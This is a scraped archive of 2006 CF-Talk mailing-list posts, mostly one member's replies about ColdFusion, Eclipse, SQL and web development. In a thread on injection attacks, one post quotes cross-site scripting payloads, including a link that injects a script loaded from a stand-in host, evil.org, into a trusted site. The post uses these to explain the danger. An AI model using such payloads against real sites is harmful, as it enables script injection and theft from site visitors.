On 9/8/06, Dan Plesse [EMAIL PROTECTED] wrote:
Try
isDirectory()
You can also use a bit more java and create a directory filter.
I think Ben(?) blogged about it, and I managed to get one going
for some tests, so I'll see if the code is lying around.
I don't think it's really much faster
On 9/8/06, Munson, Jacob [EMAIL PROTECTED] wrote:
I've heard of this problem if you are using Norton antivirus, and it's
set to scan network paths.
Yup. The most common culprit. You can also try switching the
network path (server path instead of using the mapped drive).
I'd bet it's
On 9/8/06, Mary Jo Sminkey [EMAIL PROTECTED] wrote:
I think Ben(?) blogged about it, and I managed to get one going
for some tests, so I'll see if the code is lying around.
I don't think it's really much faster than the isDirectory() looping
though... IIRC. Man, I really need to get more
Check out MyEclipse (I think WYSIWYG may be Windows only).
Let us know what you think if you try it out.
On 9/8/06, Rey Bango [EMAIL PROTECTED] wrote:
Coding only as far as I can tell.
Rey...
Rick Faircloth wrote:
Wanted to talk to a recent convert...so...
Rey, I'm a WYSIWYG designer
On 9/7/06, Matt Williams [EMAIL PROTECTED] wrote:
On 9/7/06, Dave Lyons [EMAIL PROTECTED] wrote:
i tried what u did denny but it stalls trying to connect to the server. I
know the info is ok as I can sync ok but for me that ftp one just dont work
Ditto. I tried 2 different FTP servers
On 9/7/06, Claude Schneegans [EMAIL PROTECTED] wrote:
cftransaction could lock for the duration of user edit ... it however,
depending on the DB level of locking could prevent any other user from
reading data in the table. I would consider implementing such locking a bug
not a feature.
[...]
On 9/7/06, Jim Wright [EMAIL PROTECTED] wrote:
--
The chief drawback to this plugin is that it works with one file at a time
only.
Actually, I'd see this as complimentary to the Ant method, which is good
for deploying a whole project or batch of changes, but doesn't handle
the
On 9/7/06, Claude Schneegans [EMAIL PROTECTED] wrote:
it's easier to treat every update as an insert, and just keep a
history of who's done what when, and what was there before.
Easier? This is just a patch to eventually fix problems by hand when
they appear,
PROVIDED someone finds it, not
Late reply, but plus one for navicat. Great bit of software, and
regularly updated. (they were supporting some of the mysql5 stuff
/way/ before I started using it. That's sweet.)
I thought I'd ditch it when I went Eclipse pluginztyles, but hellz no,
I still fire that sucker up.
Loads quick
On 9/7/06, Dave Lyons [EMAIL PROTECTED] wrote:
ant seems cool... if you are like Will and only have 1 or 2 sites to manage.
But when you got dozens or hundreds of sites its not so fun anymore.
You did mean to strike that. reverse it on the above, right?
If I was working on hundreds of sights
On 9/7/06, Mary Jo Sminkey [EMAIL PROTECTED] wrote:
get the subdirectories...unless there is some way to use the filter to
*only* retrieve the subdirectories? I'd love to know if there are any
good work-arounds for this. In the meantime I'll just keep advising
people to try and be sure their
I posted a semi-walkthrough to the list for using Eclipse's FTP stuff,
that is also an option (and I prefer it to working directly on the
server).
Search the archives for elcipse ftp and it should pop up.
To repeat, it's geared towards working locally and uploading changed
files when you're
Hey, that's pretty cool. Your method does work very well provided
you're looking at well formatted, query like data (like a quality CSV)
and the file is accessible via http.
One way to get around poor quality CSV is similar to getting around
poor quality WSDL(?) type stuff... grab the file,
: RE: SQL Server CPU Utilization maxes at 25%
Unless you have specifically told SQL server to use a specific CPU, it
should be using all of them anyway.
Russ
-Original Message-
From: Denny Valliant [mailto:[EMAIL PROTECTED]
Sent: 04 September 2006 04:13
To: CF-Talk
On 9/4/06, Kola Oyedeji (E-mail) [EMAIL PROTECTED] wrote:
We've started using it ..primarily as a result of watching the same demo
at
cfunited
And you think it's wicked too? Or haven't checked it out enough yet?
~|
I took the cheap and easy way out...
I created a 100 page sheet of labels, saved it as an RTF, and did a search
and replace for the label contents.
Not a pretty solution, requires the user to trim it prior to printing...
Other than hand-crafting an RTF... well, there's always CSS.
I even think
Ah. I forgot that it's only in cfoutput you need to worry aobut ##s. Duh!
The idea about the tracker link was to insert it in the .html pages,
vs. changing the .html pages to .cfm.
Thus, funpage.html has a img link to tracker.cfm, so each time the
..html page is loaded, there is a request to the
Good tip, Jenny.
I think it boiled down to looking at a combined graph, instead of a per
processor one.
Maybe the question is how to spread the load to the other processors now?
Eh...
On 9/2/06, Jenny Gavin-Wear [EMAIL PROTECTED] wrote:
Hi Rick,
Could it be a knock on effect of memory
One last idea, even though it's solved...
Using the 404 error to do it. I saw an article about SES that did something
similar.
As a side note, I finally (I think) got a 404 manager working for CF.
Keeps a log
of all 404s, and redirects them if there is a URL to redirect to. Someday
I'll clean
Here's a link for basic Java stuff:
http://java.sys-con.com/read/216388.htm
I think you need to import the cert, but that article has
a nice solution if you need your clients to have it too.
Holler if you have any Qs, I've done this before, and
the above link is pretty much how.
:denny
On
On reflection, I didn't use a client cert, I was using a self-signed
cert.
In case you have to go the java route, here is a link I had saved
that may help...
http://www.devx.com/webdev/Article/16750/0/page/1
Nifty article anyhoo...
:d
On 9/3/06, Denny Valliant [EMAIL PROTECTED] wrote:
Here's
NP Rick!
What I did was open word, select the avery template, and created
a sheet of labels with a special char alone for each label's content.
Then I saved the file as an RTF, and replaced the special char with
the content I wanted. I used the RTF newline code to add extra
lines to each label
If you set it up right, theoretically, all you need is DIV tags, and they'd
fall into place automaticaly. No /3 stuff needed.
I can't find the original blog post for the CSS stuff (I'd thought it was
at cflib, but on further ponderance, it was some random blog), but
you could always try creating
So I'm starting to grok that CF 7 is different than 4.5, like the fact that
IIF() isn't any slower than IF, and cfscript is nothing but eye candy.
I'm wondering what else I've got old ideas about, and thinking that based on
some comments, locking is one.
What's the deal?
I'm probably just
On 9/2/06, James Holmes [EMAIL PROTECTED] wrote:
Locking in CF7 is now only necessary if you could encounter a race
condition, so that you always get the correct value in/from the
variable. The memory corruption seen without locking in CF5 and below
is a thing of the past.
Thanks James!
I
Why not just throw links to .cfm pages in the .html pages?
Maybe use an img tag, an example of which just came through the list
recently?
Seriously, you'll run into all kinds of funky stuff, (I'm guessing, maybe
your
HTML is different than most) like as was mentioned, #'s (usually colors, but
Well, no answer here per se. But maybe check into how people
use self-signed certificates and ColdFusion.
I know there was an article out there on how to do it...
Basically you just import the certificate into the keystore, but I can't
remember the syntax off hand. And I don't know if that
Damn it Jim, I'm a CFer, not a doctor.
Errr.. yeah. What I meant to say was:
Thanks for the info Jim, I'd forgotten about locks for stuff besides
keeping CF from crashing and burning and generally messing up.
So we've ditched scoped locks. Allright! They bodder me.
These named locks sound
Have you tried switching the type of search?
I can't remember off-hand, but you might want to try the web one,
'cause it doesn't use all the fancy + - type verity specific stuff.
Not sure if that's what's going on, but it's something to try...
:De
On 8/31/06, Dave Phillips [EMAIL PROTECTED]
There is always AJAX. Woot, the other BEST use (besides in-line search
filtering) for it. Same page validation. I love it.
Should be pretty easy to use existing validation code, even.
:den
On 8/31/06, Robert Feyerherm [EMAIL PROTECTED] wrote:
Maybe there are some possible solutions using
On 9/1/06, Robertson-Ravo, Neil (RX) [EMAIL PROTECTED]
wrote:
So,
In 7 you can get RSA Encryption?
It looks as if you can get just about anyting in 7.
There are some docs, but I couldn't figure out how to
create a md5 hash that Apache would take for a htpasswd
hash... luckily there was a
Well, with cfhttp, you just put the csv file somewhere web-accessible,
and then use the name attribute for cfhttp:
cfhttp name=csvQuery url=http://www.your.domain/path/to/csv.file;
cfdump var=#csvQuery#
The livedoc page has some examples.
There is a func at: http://www.cflib.org/udf.cfm?id=1236
On 8/29/06, Teddy Payne [EMAIL PROTECTED] wrote:
Well, rebellion creates new ideas. As I said before, I would need to see
more information on how to implement other database approaches. If 9GB is
a
I was hoping Reactor would be a silver bullet...
Ranging from an embedded db to oracle is
On 8/29/06, Teddy Payne [EMAIL PROTECTED] wrote:...
The question is though, 30,000 options to a drop down? This seems a bit
large.
IMHO, the best feature of AJAX is the ability to dynamically populate a
select.
It' always bugs me when I have to download a 1 meg html file because there's
10
Well, it's not what you asked, but have you tried using cfhttp to import
that CSV file as a query?
Sometimes it's easier, if the cvs is well formatted.
Also, there is a UDF out there for importing CSV files, which I assume
handles empty elements.
I think someone posted some java to do this too,
On 8/27/06, Phillip Senn [EMAIL PROTECTED] wrote:
Denny,
Where is your blog?
I think I'll just use blogger beta, but I haven't added anything yet.
Been sorta wishy-washy on what direction I want to go, want to be able to
move
my posts if I want, etc... I'd use blogCFC if I had a personal CF
Things to consider with stored procs:
Plus: More logic is in the DB than in CF
Con: More logic is in the DB than in CF
If you want to switch Data providers, you have a major task- CF and the
DB are hard-linked sorta, if that makes sense.
And I think that there is a beliefe that stored
On 8/28/06, Mullai Subbiah [EMAIL PROTECTED] wrote:
...
The coldfusion errors especially in this case was hard to decipher. Does
anyone happen to know a way to find out what arguments get passed to a Java
method. Like an ide debugger giving more information.
cfdump, as one person stated
On 8/28/06, Peter Tanswell [EMAIL PROTECTED] wrote:
OK tried that opened up port 8500 for cfmx but still cant access the CF
Administrator.
If the port you opened was for a router/firewall (e.g. wireless router),
you'll
also need to be sure it's forwarding the requests to the right computer.
On 8/28/06, Dan Plesse [EMAIL PROTECTED] wrote:
It's not my solution, that's why it's free and open. It would be nice if
someone could run benchmarks on the different kinds
of things you can create and use. Even the two different kinds protocols
the
server object uses could be tested.
All
On 8/27/06, Robertson-Ravo, Neil (RX) [EMAIL PROTECTED]
wrote:
Knowing SQL is a v.important part of the whole package. No excuse for not
knowing a decent about of T-SQL.
LOL.
I've got a freakishly long, and irreparably inconcise draft response to
Aaron, but
I think I'll just create a blog,
On 8/25/06, Richard Dillman [EMAIL PROTECTED] wrote:
YEP I just found a Training Coordinator that is also the County Director,
Child welfare Specialist and County Sherif!! And now some of the people
im
listing dont even work for the state, yep some of the training
Coordinators
are
First off, this isn't going to help much :-)
Second off, I think what you'd want to do is grab a query of all your
videos, and
put it in memory somewhere. Then do a QoQ for the records in the group you
want, and then, instead of using the actual video ID's to do your math, use
the
recordcount
...
well, it's not so funny. Motive matters...
I don't want to be like crack, I want to be like open source.
Sorry to use the pron ref, holmes, ;-P but it's how I think. In movies.
LOL- Just like that dude from t.v.'s NCIS. ;-)
[= personal example snipped for list pleasure =]
On 8/26/06, Denny
On 8/26/06, Bobby Hartsfield [EMAIL PROTECTED] wrote:
Are you serious? People... get a grip and stop being so anal. It's not my
code so I'm allowed to be lazy and not scope it since it's basically
pseudo.
It showed the process of piecing the variables together regardless of what
they were or
The only trouble with the init-caps is that things like acronyms get
slaughtered.
I know people say pre-processing is best, but there is also the option of
using
CSS to init-cap what's displayed... (still the same problem with acronyms
tho).
(the only advantage of this method is that you can
On 8/26/06, Mike Tangorre [EMAIL PROTECTED] wrote:
htmlCodeFormat()
Oh yeah. Bobby's right though, it's stored how it's stored.
Generally speaking, you want it to go in how you want it to come out.
:D
~|
Introducing the
If you're running apache, and have directory listing enabled for the image
folder,
you could use cfhttp to get a list of images...
Or you could set up webDAV, and use cfdirectory via that, I think, but I
can't
remember where I saw the docs on that method.
Or store the image paths in a DB that
On 8/25/06, Ali Awan [EMAIL PROTECTED] wrote:
I second that.
In terms of SQL prowess being an indication of a developer's skills, some
of the reporting I have done, requires an intense knowledge of SQL Server
complex queries and Stored Procedures. Something that your average HTML
guru who
On 8/26/06, Richard Dillman [EMAIL PROTECTED] wrote:
I usually use this Javascript but im not sure how effective it is...
The thing I like about webforms is that the address never goes
out. 'Keeps those addys private. Unless the address really
needs to be public... in which case, expect
I'm doing pretty much the same... mainly using svn for everything...
But ever since I saw a post on the subclipse users list about CruiseControl,
I've wanted to get it set up.
Mainly, a lot of this depends on how your projects/applications are set up
and coded.
I get the impression that if you
Don't know if it's related, but I had a weird session bug with IE a week or
so ago, and adding the meta-attrribute expires:today or whatever that is
seems to have cleared it up.
So maybe try adding those meta-tags that force a refresh every time...
maybe. Probably totally unrelated, but it was
On 8/25/06, Richard Dillman [EMAIL PROTECTED] wrote:
...
I definately see where a cCounty Coordinator will be county wide but a
Training Coordinator could be at the city level so based on zipcode but
not
in every county.
Man, I love databases.
Really you want to try to nail down this
On 8/25/06, Robertson-Ravo, Neil (RX) [EMAIL PROTECTED]
wrote:
No the question was not ColdFusion, the question was why re-invent the
wheel
- just use cfquery and cfqueryparam.
Re-inventing the wheel is relative to what you're doing and the frame of
reference.
I can think of many reasons
Another consideration, besides the optimization (*grin*), is
maintainability.
This is one I struggle with constantly, in my mind.
I can't help but use some of the nifty stuff that's out there. Maybe it's
java
cuz I need it fast or portable (, or there's a java wheel I need. ;-)
Maybe it's
I guess you could stash it in a DB... CF and DB's are pretty tied together
already,
but I do hate having DB reliant code in the init, just cuz. But I don't
hate it so
much I don't do it myself, when I have to ;-).
Guess there's an example for when you're building CF websites or CF
apps... it's
On 8/25/06, Bobby Hartsfield [EMAIL PROTECTED] wrote:
cfset name = first_namemiddle_name last_name /
cfif len(trim(suffix)
cfset name = name , suffix /
/cfif
Sure that LOOKS readable, but you know CF will be running around
trying to figure out which first_name field you're
On 8/24/06, Dave Watts [EMAIL PROTECTED] wrote:
More evil is stuff like:
A HREF=http://trusted.org/search.cgi?criteria=SCRIPT
SRC='http://evil.org/badkama.js' ...
I don't know what you mean by more evil, but generally speaking SQL
injection attacks are considered to be a more serious
More evil is stuff like:
A HREF=http://trusted.org/search.cgi?criteria=SCRIPT
SRC='http://evil.org/badkama.js'
http://evil.org/badkama.js%27/SCRIPT Go to trusted.org/A
OR
img src=http://trusted.org/account.asp?ak=script
document.location.replace
On 8/24/06, Russ [EMAIL PROTECTED] wrote:
We have a large app, and I'm trying to figure something out about the way
it
works. It does this type of stuff at the beginning of every request
...
I am too thick to understand if Joseph meant yes or no, but from my exp.
it's No, something is
On 8/17/06, Oðuz_Demirkapý [EMAIL PROTECTED] wrote:
Ok. Some more info:
We have a Java tool which uses Aspose.Slides component (
http://www.aspose.com/Products/Aspose.Slides/) to generate PPT file.
Here is a link for doing it via java:
Yeah, it's probably doable; reasons for not doing it include lack of power
(createobject) and use of undocumented, and thus changeable, methods.
But if you can grab session vars from various sessions (you can), I'm
betting you can grab app vars as well.
I can dig up the get at session vars code,
On 8/15/06, Neil Middleton [EMAIL PROTECTED] wrote:
hmm, I feel an open-source project coming on...
who wants in?
I don't know about you, but I feel $$$ coming on... ;-)
OpenSource ShmopenSource! Let's corner the market and make a bazillion
dollers!
On 8/15/06, Peter J. Farrell [EMAIL PROTECTED] wrote:
Untill be have an international identity system - Captchas and email
confirmation (like click here to activate your account) will increase in use
-- a necessary evil at the moment.
OMG! Please don't say you want to take the anonymous
On 8/15/06, Brian Dumbledore [EMAIL PROTECTED] wrote:
Jake,
Apparently it doesn't let me use the .length property. no clue why.
Also does anyone know how cfdirectory is implemented? I have a network
folder which I am trying to list, and using cfdirectory takes for ever..
There are
On 8/15/06, Barney Boisvert [EMAIL PROTECTED] wrote:
As you can imagine, that's a LOT slower than a simple scan of the
directory. In your case, it's greatly affected by the fact that
network files are handled differently than local files. Specifically,
the filenames (which is all your
On 8/15/06, Dave Watts [EMAIL PROTECTED] wrote:
I thought you were supposed to turn of /all/ debugging on
production sites.
Yes, please, for the love of all that's holy, turn off debugging on
production servers unless you absolutely positively need it right that
minute.
Currently, there
You can also use native JDBC drivers and a java-esk JDBC connection to get
back
more info than CF gives you. Don't know if it would work in this case...
:Denny
On 8/16/06, Dan Plesse [EMAIL PROTECTED] wrote:
It sure sounds like you need a socket with a listener. I would find an
example
On 8/16/06, Dave Lyons [EMAIL PROTECTED] wrote:
Hell, im still laughin cause dw knew what a reach-a-round was lol
Heh, he knows his stuff. Doesn't mean he's into it. Maybe he just
watched
Sex in the City (and the City? bah;). Frankly, I'm more surprised you
got it wrong... :-P
The laser
Yeesh... not sure, but maybe it's PPT itself adding the link?
Most of these new fangled apps automagically transform them to real
links...
Dont' know, really... are you building the PPT using a .HTM file and
renaming it,
or a similar method? Or do you have an app for PPT generation? Check it's
Thanks for sharing Rey! I've been meaning to get something pretty...
Yay!
On 8/16/06, Rey Bango [EMAIL PROTECTED] wrote:
I've been using Rob Ghonda's AjaxCFC more and more and the one thing
that I wanted was the ability to define an Ajax indicator image.
On 8/15/06, loathe [EMAIL PROTECTED] wrote:
Great ideas.
I figure I will end up going with the inline example that was shown in
another response. I know one of the guys that worked on the Poi project,
I'll try and hook you guys up if you're interested.
Thanks for the offer!
I think POI
on the fly. Very cool!
Rey
Denny Valliant wrote:
Thanks for sharing Rey! I've been meaning to get something pretty...
Yay!
~|
Introducing the Fusion Authority Quarterly Update. 80 pages of hard-hitting,
up-to-date ColdFusion
Yo Loathe, nice addy. :-)
If you're wanting to get into Java with CF, and wanting to use java
classes you roll yourself, I'd say have a look at JDT and class loaders.
That way you can compile your .java file right from a .cfm, editing both
at the same time. I like that better than compiling the
On 8/15/06, Mark Drew [EMAIL PROTECTED] wrote:
In CFEclipse, until we get the Multiple FileSystem support, you are
editing directly on the server when you are using the File Explorer
View. There is no get and put but its coming my friend... :)
Hey Mark, first off, thanks for the kick ass
On 8/13/06, Dave Lyons [EMAIL PROTECTED] wrote:
that would be cool
I have searched google and I get anything thats worth HOS.
Well damn. Not even Half Of a Sandwich, eh? Sheesh!
I didn't see anything. My walk-thru was mostly about installing eclipse
3.2RC7,
and very little on SFTP, which
On 8/14/06, loathe [EMAIL PROTECTED] wrote:
Use cfhttp to grab the page and parse it either using the built in CF
string
and xml functions or using regular expressions.
Uuuu! If it's in a HTML table, using the XML functions are pretty easy to
maintain, vs. a ton of regex.
Depends on when the
I'm thinking the method with the CSS some enterprising lad posted a bit back
is pretty cool,
and really easy to implement.
No need for images, you can make the text REALLY BIG SO EVEN BAD EYE FOLKS
LIKE
ME CAN READ WTF IS BEING ASKED OF THEM.
Don't get me wrong, I love the tech factor of the
On 8/13/06, Matt Williams [EMAIL PROTECTED] wrote:
I see how to connect in the File Explorer, but how to I Get and Put? I'm
used to Dreamweaver where I 'get' a file, make my edits and test locally,
then when I'm done 'put' it.
Then you'll like the FTP Team plugin Eclipse offers. Keeps all
There's also POI:
http://jakarta.apache.org/poi/hwpf/index.html
Not gonna cut it though, I'd bet. ;-) They can use some help...
I think OpenOffice has a batch converter, don't recall how good/what it
actually does though...
:den
On 8/12/06, Doug R [EMAIL PROTECTED] wrote:
Are you looking for
I've got a cfc I made a long time ago based on this HoF post:
http://www.houseoffusion.com/groups/CF-Talk/thread.cfm/threadid:34641#174620
It's too long to post, and not in good enough shape for cflib, but I can
send it to you;
'specially if you want to clean it up and submit it to cflib.
:denny
This looks cool too (for oracle):
select dbms_metadata.get_ddl('TABLE','THE_TABLE_NAME') from dual
:D
On 8/11/06, Deanna Schneider [EMAIL PROTECTED] wrote:
For the clobs, your best bet is to use a cfqueryparam on the insert.
Of course, that screws up the idea of using cfinsert. You can figure
On 8/11/06, Deanna Schneider [EMAIL PROTECTED] wrote:
Just FYI - what Denny's solution is going to give you is the create
table statement for a specific table. What my solution is going to
give you is all the tables, columns and column types for all the
tables in your Oracle schema. With
On 8/11/06, Tom Chiverton [EMAIL PROTECTED] wrote:
On Thursday 10 August 2006 18:11, Chad McCue wrote:
fine on my betasite but when I go live and try to use the https url the
cfgrid never loads. I get the following error in the java console.
Is your CFIDE directory available over the https
On 8/11/06, Steve Bryant [EMAIL PROTECTED] wrote:
[plug alert:]
My free sebForms custom tags also follow the above guidelines but allow
you to handle your client and server-side validation from one set of custom
tags (eliminating the redundancy in code).
Yeah, where it totally kills you is recursive functions. You /gotta/ var
those!
:D
On 8/10/06, Tom Chiverton [EMAIL PROTECTED] wrote:
On Wednesday 09 August 2006 23:18, Munson, Jacob wrote:
If you have another variable with the same name as a CFC variable in the
same scope, your CFC's
Hi Christy,
On 8/10/06, Christy Hall [EMAIL PROTECTED] wrote:
I've tried 4 Flex demo apps and I can't get any of them to work. I'm
running the latest and greatest CFMX7 (7.0.2 I believe). Specifically, I'm
trying to get this app running:
http://www.asfusion.com/projects/my-to-do-list/
I'm
Yeah, I'm a little sick, but was gonna suggest the same thing.
I don't use cflock around cfhttp requests, probably another instance of
not following best practice. But for long running ones, I do have to
set the page requesttimeout (RTO) higher.
And for WIW, I think if you don't set RTO, it
Or use the Packaging Deployment option from the CF administrator.
I like to back up the datasources and mapped folders and such every once
in a while, just cuz it's so easy to restore them via that built in
functionality.
Much easier than copying xml files, if'n ya ask me.
:D
On 8/9/06, Jacob
On 8/9/06, Bryan Stevenson [EMAIL PROTECTED] wrote:
Ok, much as I hate to eat such an intelligent bird, and those incidents
make
me worry more about
training than licensing... :-)
*munch* *munch* *munch*
OK Dennyput down the sugar and step away slowlyI think you've had
enough
On 8/9/06, Lincoln Milner [EMAIL PROTECTED] wrote:
We're currently switching our model.
Current old way of doing it is to develop locally with Apache and CF to a
MySQL or Oracle DB. Then push changes to QA for review. Developers use SVN
to maintain code repositories for version/history.
On 8/9/06, Eric Roberts [EMAIL PROTECTED] wrote:
Start and end date works just as well...either way, you still have the
number of days ;-)
This works up until you need to store data about those days in between.
Attendance is one that will get you, but there's also special days, maybe
Hey Ray, you mispelt it:
http://ray.camdenfamily.com/projects/canvas/
And the link to the demo is mispelt too. (camdenfamly).
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That's looking really slick man.
Thanks for sharing!
:Den
On 8/9/06, Raymond Camden [EMAIL PROTECTED] wrote:
And now it is done.
On 8/8/06, Tom Chiverton [EMAIL PROTECTED] wrote:
On Tuesday 08 August 2006 03:30, Dave Watts wrote:
I don't see how Adobe would make any money, since no one would have to
buy
their product to use it. If I could deploy a license-free EAR from my
free
developers' edition of CF, I wouldn't
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On 8/8/06, Dave Watts [EMAIL PROTECTED] wrote:
Well, you don't have to buy anything from Adobe to produce
and deploy Flex based apps, since the SDK is free of
charge... but i think Adobe plans to make some money off that
product ;)
I
On 8/8/06, Ian Skinner [EMAIL PROTECTED] wrote:
In this thread a couple of weeks ago, a side topic was generated that
discussed why we are very careful of our computer technologies and which
ones we choose. Incidents like this are why we are reluctant to go with
open source technologies that
On 8/8/06, Kris Jones [EMAIL PROTECTED] wrote:
I am using the tabaquismo Tortoise eclipse plugin. But I also have
subclipse installed. Maybe that is the problem--a conflict? Or,
perhaps I still don't understand which submenu goes with which:
In Eclipse, from my filecontext menu, I've got:
a
I collect a start and end date from the user, and then create date entries
for each day (start datetime, end datetime) in between in a separate table.
Seems like a lot of overhead, but has ended up being very handy.
:D
On 8/8/06, Aaron Rouse [EMAIL PROTECTED] wrote:
This is what I do except in
On 8/8/06, Bryan Stevenson [EMAIL PROTECTED] wrote:
I did not take the original posters comments about open source and
contracting
as a negative about open sourcejust the way the poster's company does
business
So you don't think my slander suit will stand up in court? A... :-)
Ok,
how Yahoo
or
one of the other big online calendar systems stores its data.
Me too. Normalization is an art at that scale, I reckon!
:Denny
On 8/8/06, Denny Valliant [EMAIL PROTECTED] wrote:
I collect a start and end date from the user, and then create date
entries
for each day (start
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